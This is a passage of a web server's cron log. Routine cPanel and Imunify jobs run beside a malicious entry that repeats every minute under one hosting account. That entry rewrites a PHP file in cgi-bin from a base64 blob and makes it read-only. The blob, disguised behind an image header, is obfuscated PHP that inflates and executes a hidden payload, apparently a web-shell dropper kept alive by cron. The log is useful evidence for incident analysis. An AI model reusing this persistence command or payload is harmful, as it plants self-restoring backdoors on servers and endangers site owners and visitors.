U0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:41:01 server CROND[13028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:42:01 server CROND[13393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:42:01 server CROND[13394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:42:01 server CROND[13392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:42:01 server CROND[13391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 00:43:01 server CROND[13758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:43:01 server CROND[13759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:43:01 server CROND[13760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:44:01 server CROND[14153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:44:01 server CROND[14152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:44:01 server CROND[14154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:45:01 server CROND[14524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:45:01 server CROND[14530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:45:01 server CROND[14538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:45:01 server CROND[14539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:45:01 server CROND[14536]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:45:01 server CROND[14537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:45:01 server CROND[14540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:46:01 server CROND[15433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:46:01 server CROND[15434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:46:01 server CROND[15432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:47:01 server CROND[15816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:47:01 server CROND[15817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:47:01 server CROND[15818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:48:01 server CROND[16198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:48:01 server CROND[16199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:48:01 server CROND[16200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:49:01 server CROND[16571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:49:01 server CROND[16572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:49:01 server CROND[16573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:50:01 server CROND[16965]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:50:01 server CROND[16966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:50:01 server CROND[16968]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:50:01 server CROND[16972]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:50:01 server CROND[16976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:50:01 server CROND[16974]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:50:01 server CROND[16977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:50:01 server CROND[16975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:50:01 server CROND[16979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:51:01 server CROND[17904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:51:01 server CROND[17905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:51:01 server CROND[17906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:52:01 server CROND[18284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:52:01 server CROND[18285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:52:01 server CROND[18286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:53:01 server CROND[18678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:53:01 server CROND[18679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:53:01 server CROND[18680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
